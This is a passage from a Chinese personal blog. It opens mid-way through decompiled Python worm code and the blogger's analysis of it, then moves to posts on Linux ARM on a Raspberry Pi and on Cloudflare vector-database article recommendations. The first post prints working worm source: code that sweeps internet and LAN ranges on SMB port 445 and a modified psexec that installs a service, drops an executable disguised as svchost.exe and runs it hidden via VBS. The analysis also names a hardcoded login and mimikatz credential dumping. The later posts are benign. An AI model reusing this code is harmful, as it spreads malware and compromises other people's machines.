end = i | (1 << host_bits) - 1
for i in range(start + 1, end):
semaphore1.acquire()
ip = socket.inet_ntoa(struct.pack('>I', i))
t1 = threading.Thread(target=scansmb, args=(ip, 445))
t1.start()
time.sleep(1)
print 'smb over sleep 200s'
time.sleep(5)
if 'Windows-XP' in platform.platform():
time.sleep(1000)
else:
print 'start scan2'
if '.exe' in dl:
for network in iplist2:
ip, cidr = network.split('/')
if ip.split('.')[0].strip() == '192':
continue
if ip.split('.')[0].strip() == '127':
continue
if ip.split('.')[0].strip() == '10':
continue
if ip.split('.')[0].strip() == '0':
continue
if ip.split('.')[0].strip() == '100':
continue
if ip.split('.')[0].strip() == '172':
continue
if int(ip.split('.')[0].strip()) in xrange(224, 256):
continue
print network
cidr = int(cidr)
host_bits = 32 - 16
i = struct.unpack('>I', socket.inet_aton(ip))[0]
start = i >> host_bits << host_bits
end = i | (1 << host_bits) - 1
for i in range(start + 1, end):
semaphore2.acquire()
ip = socket.inet_ntoa(struct.pack('>I', i))
t1 = threading.Thread(target=scansmb3, args=(ip, 445))
t1.start()
time.sleep(1)
print 'smb over sleep 200s'
time.sleep(5)
print 'eb2 internet'
for s in xip(500):
if s.split('.')[0].strip() == '127':
continue
if s.split('.')[0].strip() == '10':
continue
if s.split('.')[0].strip() == '0':
continue
if s.split('.')[0].strip() == '100':
continue
if s.split('.')[0].strip() == '172':
continue
if int(s.split('.')[0].strip()) in xrange(224, 256):
continue
print s
ip, cidr = s.split('/')
cidr = int(cidr)
host_bits = 32 - cidr
i = struct.unpack('>I', socket.inet_aton(ip))[0]
start = i >> host_bits << host_bits
end = i | (1 << host_bits) - 1
for i in range(start + 1, end):
semaphore1.acquire()
ip = socket.inet_ntoa(struct.pack('>I', i))
t1 = threading.Thread(target=scansmb2, args=(ip, 445))
t1.start()
time.sleep(2)
print 'eb2 over'
print 'sleep 10min'
time.sleep(5)
mmka()
# global h_one ## Warning: Unused global
里面有两个不是公开的库,mysmb和psexec,其中mysmb看起来是永恒之蓝RCE中的代码,psexec有找到几个相似的但是没找到一样的,所以代码也放上来:
# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
# Embedded file name: psexec.py
import sys, os, cmd, logging
from threading import Thread, Lock
import argparse, random, string, time
from impacket.examples import logger
from impacket import version, smb
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.examples import remcomsvc, serviceinstall
class RemComMessage(Structure):
structure = (
('Command', '4096s=""'),
('WorkingDir', '260s=""'),
('Priority', '<L=0x20'),
('ProcessID', '<L=0x01'),
('Machine', '260s=""'),
('NoWait', '<L=0'))
class RemComResponse(Structure):
structure = (
('ErrorCode', '<L=0'),
('ReturnCode', '<L=0'))
RemComSTDOUT = 'RemCom_stdout'
RemComSTDIN = 'RemCom_stdin'
RemComSTDERR = 'RemCom_stderr'
lock = Lock()
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, share, transport):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.transport = transport
return
def connect_transferClient(self):
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
else:
self.transferClient.login(user, passwd, domain, lm, nt)
def do_help(self, line):
print '\n lcd {path} - changes the current local directory to {path}\n exit - terminates the server process (and this session)\n put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)\n get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir\n ! {cmd} - executes a local shell cmd\n' % (self.share, self.share)
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename, 'wb')
logging.info('Downloading %s\\%s' % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception as e:
logging.critical(str(e))
self.send_data('\r\n')
return
def do_put(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
print '!!!!!!!!!!!!!!!!' + f
pathname = string.replace(f, '/', '\\')
logging.info('Uploading1111111111 %s to %s\\%s' % (src_file, self.share, dst_path))
self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
fh.close()
except Exception as e:
logging.error(str(e))
self.send_data('\r\n')
return
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
def default(self, line):
self.send_data(line.decode(sys.stdin.encoding).encode('cp437') + '\r\n')
def send_data(self, data, hideOutput=True):
global LastDataSent
if hideOutput is True:
LastDataSent = data
else:
LastDataSent = ''
self.server.writeFile(self.tid, self.fid, data)
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.daemon = True
def connectPipe(self):
try:
self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
else:
self.server.login(user, passwd, domain, lm, nt)
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid, self.pipe, self.permissions, creationOption=64, fileAttributes=128)
self.server.setTimeout(1000)
except:
logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class RemoteStdOutPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
global LastDataSent
self.connectPipe()
return
while True:
try:
ans = self.server.readFile(self.tid, self.fid, 0, 1024)
except:
pass
else:
try:
if ans != LastDataSent:
sys.stdout.write(ans.decode('cp437'))
sys.stdout.flush()
else:
LastDataSent = ''
if LastDataSent > 10:
LastDataSent = ''
except:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
return
while True:
try:
ans = self.server.readFile(self.tid, self.fid, 0, 1024)
except:
pass
else:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
except:
pass
class RemoteStdInPipe(Pipes):
def __init__(self, transport, pipe, permisssions, share=None):
self.shell = None
Pipes.__init__(self, transport, pipe, permisssions, share)
return
def run(self):
self.connectPipe()
return
self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)
self.shell.cmdloop()
class StrReader:
def __init__(self, str):
self.__str = str
def close(self):
pass
def read(self, size=1024):
ret_str = self.__str[:size]
self.__str = self.__str[size:]
return ret_str
class PSEXEC:
KNOWN_PROTOCOLS = {'445/SMB': ('ncacn_np:%s[\\pipe\\svcctl]', 445)}
def __init__(self, copyFile=None, exeFile=None, cmd='', username='', password='', domain='', fr='', hashes=None, aesKey=None, doKerberos=False):
self.__username = username
self.__password = password
self.__protocols = PSEXEC.KNOWN_PROTOCOLS.keys()
self.__command = cmd
self.__domain = domain
self.__fr = fr
self.__lmhash = ''
self.__nthash = ''
self.__path = None
self.__aesKey = aesKey
self.__exeFile = exeFile
self.__copyFile = copyFile
self.__doKerberos = doKerberos
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
return
def run(self, addr):
for protocol in self.__protocols:
protodef = PSEXEC.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info('Trying protocol %s...\n' % protocol)
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos)
self.doStuff(rpctransport)
def openPipe(self, s, tid, pipe, accessMask):
pipeReady = False
tries = 50
while pipeReady is False and tries > 0:
try:
s.waitNamedPipe(tid, pipe)
pipeReady = True
except:
tries -= 1
time.sleep(2)
if tries == 0:
logging.critical('Pipe not ready, aborting')
raise
fid = s.openFile(tid, pipe, accessMask, creationOption=64, fileAttributes=128)
return fid
def connectPipe(rpctransport, pipe, permisssions):
transport = rpctransport
server = SMBConnection('*SMBSERVER', transport.get_smb_connection().getRemoteHost(), sess_port=transport.get_dport(), preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = transport.get_credentials()
if transport.get_kerberos() is True:
server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
else:
server.login(user, passwd, domain, lm, nt)
tid = server.connectTree('IPC$')
server.waitNamedPipe(tid, pipe)
fid = self.server.openFile(tid, pipe, permissions, creationOption=64, fileAttributes=128)
server.setTimeout(6000)
return server
def doStuff(self, rpctransport):
global LastDataSent
global dialect
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except Exception as e:
return False
dialect = rpctransport.get_smb_connection().getDialect()
try:
unInstalled = False
s = rpctransport.get_smb_connection()
s.setTimeout(30000)
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
installService.install()
if self.__copyFile:
try:
installService.copy_file(self.__copyFile, installService.getShare(), 'temp\\svchost.exe')
except:
print 'file exist'
tid = s.connectTree('IPC$')
fid_main = self.openPipe(s, tid, '\\RemCom_communicaton', 1180063)
packet = RemComMessage()
pid = os.getpid()
packet['Machine'] = ('').join([random.choice(string.letters) for _ in range(4)])
packet['ProcessID'] = pid
if self.__exeFile:
if self.__fr == '1':
installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\updll.exe')
self.__command = self.__command.replace('"', '""')
vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\updll.exe",0 \n ' % self.__command
elif self.__fr == '3':
installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\setup-install.exe')
self.__command = self.__command.replace('"', '""')
vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\setup-install.exe",0 \n ' % self.__command
else:
installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\upinstalled.exe')
self.__command = self.__command.replace('"', '""')
vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\upinstalled.exe",0 \n ' % self.__command
installService.copy_file(StrReader(vbs_cmd.strip()), installService.getShare(), 'temp\\tmp.vbs')
self.__command = 'cmd /c call "c:\\windows\\temp\\tmp.vbs"'
packet['Command'] = self.__command
print self.__command
s.writeNamedPipe(tid, fid_main, str(packet))
LastDataSent = ''
stdin_pipe = RemoteStdInPipe(rpctransport, '\\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())
stdin_pipe.start()
stdout_pipe = RemoteStdOutPipe(rpctransport, '\\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA)
stdout_pipe.start()
stderr_pipe = RemoteStdErrPipe(rpctransport, '\\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA)
stderr_pipe.start()
time.sleep(1)
installService.uninstall()
s.deleteFile(installService.getShare(), 'temp\\tmp.vbs')
unInstalled = True
return True
except SystemExit:
return False
except:
if unInstalled is False:
time.sleep(1)
installService.uninstall()
s.deleteFile(installService.getShare(), 'temp\\tmp.vbs')
return False
那这个代码都干了些什么呢?首先动态分析一下吧,我用微步云沙箱检查了一下,不过好像有人已经上传过了,这个是报告。好像也没啥特别的,先给445端口开了个防火墙,估计是防止其他人利用永恒之蓝入侵,然后整了几个请求几个“beahh.com”域名的定时任务,另外就是同网段扫描啥的,应该是找其他机器继续尝试用漏洞入侵感染这个木马。
之后再看看代码,干的基本上确实是这些事情,主要就是利用永恒之蓝漏洞然后各种扫描,似乎有创假的系统用户的操作,不过没太看懂,扫描的时候除了用漏洞和弱密码之外好像还用了个“k8h3d:k8d3j9SjfS7”的用户?这是连别家的僵尸网络的节点吧,入侵完还给它删了🤣,还有加定时任务,然后用mimikatz把这台机器的密码存到“c:\windows\temp\mkatz.ini”这个文件里,扫描的时候也使用这里获取的密码,可能是考虑有些集群全都用一样的用户名和密码吧。木马的作者应该会利用那些定时任务发布指令,有可能会把密码拿走或者干别的事情吧。
不过定时任务里写的那个地址已经访问不到了(就连获取IP的接口也请求不通了),我在网上搜了一下看行为应该是这个搞门罗币挖矿的木马,代码里没有体现,有可能是那个域名对应的远控服务器干的。不过这篇文章是2019年的,估计作者已经进去了吧,所以访问不到服务器😂,但是5年过去了,他的木马还在忠实的为他寻找肉鸡并等待他发布指令😭,这就是僵尸网络的魅力吧。
用Python写的木马也挺有意思啊,这个代码中用到“impacket”库我还是头一次了解,看起来可以封装各种各样的网络包,感觉说不定会有项目能用得上,看这个代码也是学到了啊……
如果我能有属于自己的僵尸网络能不能让我的项目永存呢?不过这些感染了木马的老服务器总有一天会被淘汰掉,新的服务器肯定不会装Windows Server 2008这样超老的系统 (我除外🤣) ,而且现在新的系统漏洞越来越少了,想要出现像当年永恒之蓝那样的漏洞估计不太可能了,在未来估计就不会存在僵尸网络了……所以这还是做不到永存啊……
2024-10-13 00:00:00
看看现在的Linux ARM能不能替代macOS?
我的树莓派4B从好久之前就一直吃灰了,之前用它装过Ubuntu,openFyde,Windows 11和piCore,但都因为性能和使用体验不佳放弃使用了。不过随着华为的某系统发布以及高通出的某个笔记本电脑用处理器,我对运行在ARM指令集CPU系统的生态产生了一些兴趣。macOS的生态之前我已经体验过了,是符合预期的不错。Windows on ARM虽然在树莓派上装了试着用了但是没驱动太卡了,其实没有体现它怎么样,要想体验还得整个高通CPU的拿来试,不过我手头没有所以没办法😂,那在树莓派上的Linux系统我也试过不少,有什么测试的必要吗?其实还是有的,因为之前我测都是当服务器测的,虽然也测了openFyde(ChromeOS),但是生态其实挺垃圾的,虽然能用Linux软件但是因为是容器卡的不能用。所以这次我想装树莓派官方的Raspberry Pi OS完整版来测测现在Linux ARM生态能不能和我现在用的macOS比拼。
另外前段时间树莓派出了新的连接方式:Raspberry Pi Connect,可以登录树莓派官网的账号然后用浏览器操作图形界面或者命令行,可以自动判断使用P2P模式还是中继模式,而且可以根据浏览器界面大小自动修改树莓派的分辨率,体验还不错。
既然是和macOS相比,那就看看我现在用的软件是不是能在树莓派上原生运行吧。首先是常用的国产软件,比如WPS Office,钉钉,微信,QQ。因为UOS的缘故,大多数常用的国产软件都有Linux ARM的版本,首先钉钉和QQ在官网上可以直接下载deb包安装,运行也没什么问题,功能完全一致,而且也没有卡到不能用的程度,对于树莓派来说已经很让我满意了。WPS Office和微信稍微有点麻烦,官网并没有提供安装包,但是我找到一个不错的国产Linux应用商店——星火应用商店。里面有不少Debian系各种CPU架构的国产软件,官网上没有的也能在这里下到,让我很满意。不过里面有好多Wine的应用……我不是特别想用,而且不知道它是怎么处理的,会不会一个软件安装一个Wine?所以就先不考虑了。随后我在里面找到了WPS Office和微信,安装试了一下,微信看起来还不错,至少小程序,视频号之类的都能用(反正是基于浏览器的,好适配🤣),WPS Office虽然能用,但是刚安装是英文版的……而且中文切换找了半天找不到😅,后来找了半天才找到……不过安了WPS Office,应该再配个中文输入法才对,我试着安装了搜狗输入法,但是安装好之后不能用,Fcitx不停崩溃重启,不知道是什么问题,换了谷歌输入法之后就正常了。
除了常用的国产软件之外,还有一些我平时开发用的软件,这些软件对Linux ARM的支持也挺不错的,可能国外也是比较支持Linux ARM生态吧(大概是因为Chromebook?)。我平时用的VSCode当然是有的,不过数据库管理和接口调试我在Mac用的是Sequel Ace和RapidAPI,这两个是专为macOS设计的,当然没有Linux版。但是这些是有替代品的,我找了一下,数据库我用的是Navicat Premium Lite,它有原生Linux ARM版,但是是AppImage……感觉不是很舒服。接口调试的话用的是Apipost,估计就是因为用的Electron的所以才愿意整跨平台的版本吧。Mac上有时候我还会远程桌面到Windows主机,这个树莓派也可以,有个叫Remmina的客户端可以用,效果也还不错,如果不是局域网连接还有RustDesk可以用(虽然不知道为什么中文会变方块😂)。另外还有用来测试的网站环境,这个倒是比macOS更简单,毕竟Linux有那么多面板,也不需要敲命令安装,而且还可以运行Docker,我这次用的是1Panel,使用基本上没什么问题,还能安装杀毒软件😁(虽然MongoDB安装会因为缺少指令集报错用不了,但是我用不着🤣)。
除此之外还有虚拟机,这个在之前Ubuntu Server上已经测过了,不过那时候是无头模式,现在可以在图形界面用virt-manager来管理了,之前安装了Windows,这次就安装个FreeBSD吧,安装起来也不复杂,和其他虚拟机管理软件一样,而且还能用虚拟串口连接,感觉还挺有意思的。安装好之后上网之类的都没问题,和在macOS上用UTM的区别可能就只有在macOS上可以把Rosetta 2穿透到Linux下使用吧。
另外还有游戏,专门为Linux ARM设计的游戏估计没几个,不过想玩肯定是有的,比如用Ren’Py引擎的游戏以及在浏览器上的游戏,其他引擎似乎没什么资料……但没事,在macOS上也是用的iOS版的模拟器,后面讲到的安卓也可以运行模拟器😁。我之前也研究过在macOS上玩Ren’Py引擎的游戏。不过Ren’Py默认发行是不支持Linux ARM版的……但是可以另外下载SDK来支持。然而有一个问题,只有新版的SDK才支持64位的ARM,旧版虽然有树莓派支持,但可能是因为旧版树莓派只有32位的系统所以没有64位ARM的运行库😂。我看了看我电脑上之前下的Ren’Py引擎的游戏,找了一个《Sakura Isekai Adventure》游戏看了一下Ren’Py的版本还可以,SDK也能正常的在树莓派上运行,试了一下感觉效果还不错,运行的方法是“SDK所在目录/renpy.sh 游戏所在目录/Game”,之前没加Game不停报错😅,文档写的也不清晰,测了半天才测出来……那对于旧版的就不能玩了吗?估计是可以但可能要自己编译很麻烦,反正源代码都有。不过有个例外,我本来想试试《Katawa Shoujo》,它用的Ren’Py很旧,但是因为是同人类游戏所以有人做了重制版《Katawa Shoujo: Re-Engineered》😆,这个是用的最新版的Ren’Py,增加了新的特性和各种BUG,但是正因如此,可以简单的在树莓派上运行了🤣。
至于其他关于AI方面的比如LLaMA和Stable Diffusion,这些毕竟是开源的,Linux ARM当然可以运行,只不过树莓派的GPU不能用来加速,运行会很卡而已,生态方面是没问题。
既然macOS可以原生运行iOS软件,那对于Linux来说自然应该对比一下原生运行安卓软件了。关于安卓软件我之前在Ubuntu Server上已经测了Waydroid和redroid。但毕竟当时是在无头模式下测的,没有图形界面,现在有了图形界面可以再测一下。安装除了要挂梯子下载镜像之外没什么问题,但是打开的时候不知道为什么只会黑屏……后来搜了一下,执行“waydroid prop set persist.waydroid.multi_windows true”再重启就没问题了。虽然安卓软件比iOS的要更多,不过毕竟树莓派的性能想玩手游还是有点勉强,当然这次测的是生态,所以还是完全没问题😁。
既然macOS有Rosetta 2可以运行x86架构的软件,那Linux ARM当然也不能少,这个方案比较多,有QEMU,Box86/64还有ExaGear,不过听说ExaGear性能相对更好一些,那这次就测这个吧。
现在ExaGear已经被华为收购了,想要下载的话在华为源里就能下到,我装的是4.0.0的,因为4.1.0似乎要自己配置镜像太麻烦了所以就没用。安装很简单,直接把对应目录的deb包安装了就可以,安装好之后就可以执行“exagear”进到转译后的Bash中,不过和macOS有个区别,macOS的程序都是通用二进制文件,里面包含了ARM架构和x86架构的程序,所以可以无缝衔接,Linux当然没有这个特性,所以ExaGear是映射到它自己的镜像里面的,各种包还得另外安装。
那这个东西装什么比较好呢?我发现我的Mac上有个网易云音乐,在Linux上似乎没有ARM版的,在星火应用商店也只有Wine版。但是它之前和深度合作出过Linux版,现在估计谈崩了从官网上消失了,但是原来的链接还在可以下载。具体的流程在CSDN上有篇博客有写,试了一下可以安装,而且运行效率比我预期高不少,最起码点击不算卡,而且听音乐也没有卡顿的感觉,感觉算是相当不错了。
其实我也挺疑惑Rosetta 2和ExaGear的效率怎么样,我看网上有篇文章Comparing Huawei ExaGear to Apple’s Rosetta 2 and Microsoft’s solution说ExaGear效率最高,Rosetta 2有硬件加速都比不上,说实话我是不信的,要是那么厉害Eltechs怎么可能停更?而且全网就这一篇文章,很难不相信是华为员工写的软文😅,我自己手头没有合适的设备也不好测,不知道有没有大佬来打假。
那运行转译的Linux软件没问题之后再测一下转译Windows应用吧,我的Mac上可是有Whisky的。那对树莓派来说就是ExaGear+Wine了。安装很简单,直接在ExaGear的shell里用apt安装就行,安装好之后就可以用“exagear – wine ./windows程序.exe”来运行了。我在我的Mac上找了一个用Godot引擎写的小游戏,放上去试了一下,居然可以运行,而且也是比想象中的流畅,不过我玩的本来就是画面变动少的游戏也不会卡到哪里,不过能在接受范围内有反应已经很不错了,虽然没Mac反应快但毕竟测生态和芯片本身速度无关,树莓派的性能当然比不了Mac,能玩我已经很满足了。
其实如果论游戏的话在x86平台毕竟有SteamOS的先例,用ExaGear转译然后加上Proton如果芯片性能足够的情况应该是能玩不少游戏的。
在玩树莓派的时候我又想玩电台了🤣毕竟这是树莓派唯一的优势,能用到它的GPIO接口,不然真的就是性价比不怎么样,性能还差的ARM迷你主机了。这次我多试了一下怎么样把图形界面上的声音通过广播传出来,如果可以的话树莓派离得比较远而且不用蓝牙耳机的情况下也能听到声音了。不过我不太清楚Linux中的声音是怎么合成的,我搜了一下似乎是用PulseAudio合成的,用“pactl list sources”命令就可以列出相关的设备,在我的树莓派上可以看到是叫“alsa_output.platform-bcm2835_audio.stereo-fallback.monitor”,然后用
sox -t pulseaudio alsa_output.platform-bcm2835_audio.stereo-fallback.monitor -t wav - | sudo ./pi_fm_adv --audio - --freq 87.0 --power 7 --gpio 4 --gpio 20 --gpio 32 --rds 0
命令理论上就可以发射电台了,但实际上不知道为什么虽然能听到声音,但是声调变的很高,而且一卡一卡的,根本不能听,而且进程会卡住,要用kill -9才能结束😓……
不过这个就和Linux ARM生态无关了,这是只有树莓派才有的特殊功能,其他电脑估计做不到这一点😆。
这次测下来感觉Linux ARM好像还挺强的啊,基本上我Mac上装的东西都有,而且功能也挺齐全,从原生应用的角度来看可能比Windows on ARM还多。看来除了易用性之外Linux ARM生态已经很成熟了啊,这么来看Mac就只剩下美观、易用性和芯片性能强大这些优势了啊😂。
2024-10-01 00:00:00
看来向量数据库的作用有很多啊……
前几天我用Cloudflare Vectorize给博客的聊天机器人加了知识库的功能,本来想着用向量数据库做文章推荐是不是每次都要走翻译+向量化的操作,不过后来我又仔细看了一下Cloudflare的官方文档,发现它是可以根据ID查询存储的向量的,既然这样的话用现有的数据库做一个相似文章推荐应该非常简单,于是我就做了一个试试看。
其实流程很简单,就是把对应ID的向量查出来之后拿着这个向量再去查询就好了,唯一需要注意的就是它查出来的第一条肯定是自己,所以只要把第一条删掉就行, 代码也非常简单 (后来又加了缓存稍微变的复杂了😂):
if (url.pathname.startsWith("/suggest")) {
let resp = [];
let update_time = url.searchParams.get('update');
if (update_time) {
let result = await env.mayx_index.getByIds([
query
]);
if (result.length) {
let cache = await db.prepare("SELECT `id`, `suggest`, `suggest_update` FROM `blog_summary` WHERE `id` = ?1")
.bind(query).first();
if (!cache.id) {
return Response.json(resp, {
headers: commonHeader
});
}
if (update_time != cache.suggest_update) {
resp = await env.mayx_index.query(result[0].values, { topK: 6 });
resp = resp.matches;
resp.splice(0, 1);
await db.prepare("UPDATE `blog_summary` SET `suggest_update` = ?1, `suggest` = ?2 WHERE `id` = ?3")
.bind(update_time, JSON.stringify(resp), query).run();
} else {
resp = JSON.parse(cache.suggest);
}
}
resp = resp.map(respObj => {
respObj.id = encodeURI(respObj.id);
return respObj;
});
}
return Response.json(resp, {
headers: commonHeader
});
}
后端当然很简单,但是我之前有些欠考虑了,我当时做AI摘要和知识库的时候,都只存了文章的链接,没有存标题😅……但是推荐文章的超链接总不能不放标题吧……那怎么办呢?一种就是我把数据库清空然后摘要中加一个字段,向量数据库中加一个元数据,这样查询的时候就能查到标题然后显示出来了。不过这种方法我仔细考虑了一下,麻烦是一方面,另一方面是我的接口没做验证,有人乱上传文章会影响推荐链接显示的内容,不太合适……那应该用什么办法呢?
我还想到一个办法,我之前给博客做过全文搜索的功能,用这个JS关联查询就能查到标题,而且查不到的内容也显示不出来,这样就能避免有人故意乱上传导致显示奇怪的内容了,不过之前的设计是每次查询都要加载一次包含我文章内容的JSON文件,感觉不太合理,虽然那个文件不算特别大,但是也挺影响速度的,所以我想了一下还是用localStorage缓存一下比较好,所以增加了一个能缓存获取搜索JSON的函数:
function getSearchJSON(callback) {
var searchData = JSON.parse(localStorage.getItem("blog_" + lastUpdated.valueOf()));
if (!searchData) {
localStorage.clear();
$.getJSON("/search.json", function (data) {
localStorage.setItem("blog_" + lastUpdated.valueOf(), JSON.stringify(data));
callback(data);
});
} else {
callback(searchData);
}
}
做好这个之后就可以做文章推荐的功能了,不过文章推荐应不应该加载完页面就加载呢?其实我测了一下Vectorize数据库的查询速度,不算很慢,但还是需要时间,另外免费版我看了下额度是每月3000万个查询的向量维度,这个其实我没看太懂😂。另外Cloudflare不知道为什么没有展示免费版剩余的额度,而且它是按月计算的,导致我不敢乱用这个查询。 所以我想了一下还是给个按钮来调用吧 (后来想了一下干脆直接调用然后加个缓存吧,毕竟我的文章不变,推荐内容也不会变)。最终调用的函数如下:
function getSuggestBlog(blogurl) {
var suggest = $("#suggest-container")[0];
suggest.innerHTML = "Loading...";
$.get(BlogAPI + "/suggest?id=" + blogurl + "&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.innerHTML = '<b>推荐文章</b><hr style="margin: 0 0 5px"/>';
const searchMap = new Map(search.map(item => [item.url, item]));
const merged = data.map(suggestObj => {
const searchObj = searchMap.get(suggestObj.id);
return searchObj ? { ...searchObj } : null;
});
merged.forEach(element => {
if (element) {
suggest.innerHTML += "<a href=" + element.url + ">" + element.title + "</a> - " + element.date + "<br />";
}
});
});
} else {
suggest.innerHTML = "暂无推荐文章……";
}
});
}
看来向量数据库的用途还是挺广泛的,不仅仅是为了给AI使用,说不定还能做更多有意思的功能,这下不得不更依赖Cloudflare了😆。
另外随着做了越来越多的功能,做新的功能还能用上旧的功能,感觉这样我的博客可以有不少发展的空间啊😁。